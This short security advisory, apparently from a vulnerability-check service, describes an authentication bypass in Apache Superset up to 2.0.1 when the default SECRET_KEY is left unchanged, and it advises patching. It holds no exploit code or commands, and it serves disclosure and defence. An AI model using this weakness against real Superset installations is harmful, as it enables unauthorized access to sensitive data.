Readycheck to confirm it

Session Validation attacks in Apache Superset versions up to and including 2.0.1. Installations that have not altered the default configured SECRET_KEY according to installation instructions allow for an attacker to authenticate and access unauthorized resources. This does not affect Superset administrators who have changed the default value for SECRET_KEY config.

Impact

Successful exploitation of this vulnerability could allow an attacker to bypass authentication and gain unauthorized access to sensitive information.

Fix

Apply the latest security patches or upgrade to a patched version of Apache Superset.
